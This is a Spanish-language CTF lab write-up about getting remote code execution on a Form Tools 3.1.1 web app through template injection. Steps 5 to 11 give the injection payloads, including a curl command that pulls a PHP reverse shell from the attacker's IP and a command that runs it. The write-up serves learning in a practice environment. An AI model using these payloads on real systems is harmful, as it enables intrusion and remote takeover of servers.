Hay una aplicación web corriendo en http://ssti.thm:8080/. ¿Puedes conseguir RCE y leer el contenido del archivo de texto escondido en el directorio usando SSTI?

Credenciales de inicio de sesión:

  • Username: admin
  • Password: admin

Challenge

  1. Vamos a la página que nos dan. Extra-Mile Challenge
  2. Iniciamos sesión con las credenciales que nos dan. Extra-Mile Challenge
  3. Haciendo click en "FORM TOOLS" podemos ver que existe de verdad. Extra-Mile Challenge Y también sabemos que la versión es la 3.1.1. Extra-Mile Challenge
  4. Buscando podemos encontrar que es vulnerable a RCE. Extra-Mile Challenge
  5. Probamos a ver dónde meter el payload (probamos donde dice el exploit primero).
    1. Para ello vamos a crear una nueva Form (Internal). Extra-Mile Challenge
    2. En "Views" le damos a "Add New Group". Extra-Mile Challenge
    3. Si le damos a update evalúa la expresión. Extra-Mile Challenge
    4. Vamos a probar con {system('ls')}. Extra-Mile Challenge Extra-Mile Challenge Está ejecutando los comandos. Vamos a mandarnos una reverse shell.
  6. Pegamos el payload en payload.php, por ejemplo. Extra-Mile Challenge
  7. Nos ponemos en escucha para servir el payload php. Extra-Mile Challenge
  8. Nos ponemos en escucha por el puerto que recibirá la shell (9000). Extra-Mile Challenge
  9. Introducimos el payload en el campo: {system('curl http://NUESTRA_IP:8081/payload.php -o /tmp/payload.php')}. Extra-Mile Challenge
  10. Recibimos la petición y la máquina víctima se guarda el payload. Extra-Mile Challenge
  11. Introducimos el siguiente comando: {system('php /tmp/payload.php')}. Extra-Mile Challenge
  12. Recibimos la shell. Extra-Mile Challenge
  13. Obtenemos la flag. Extra-Mile Challenge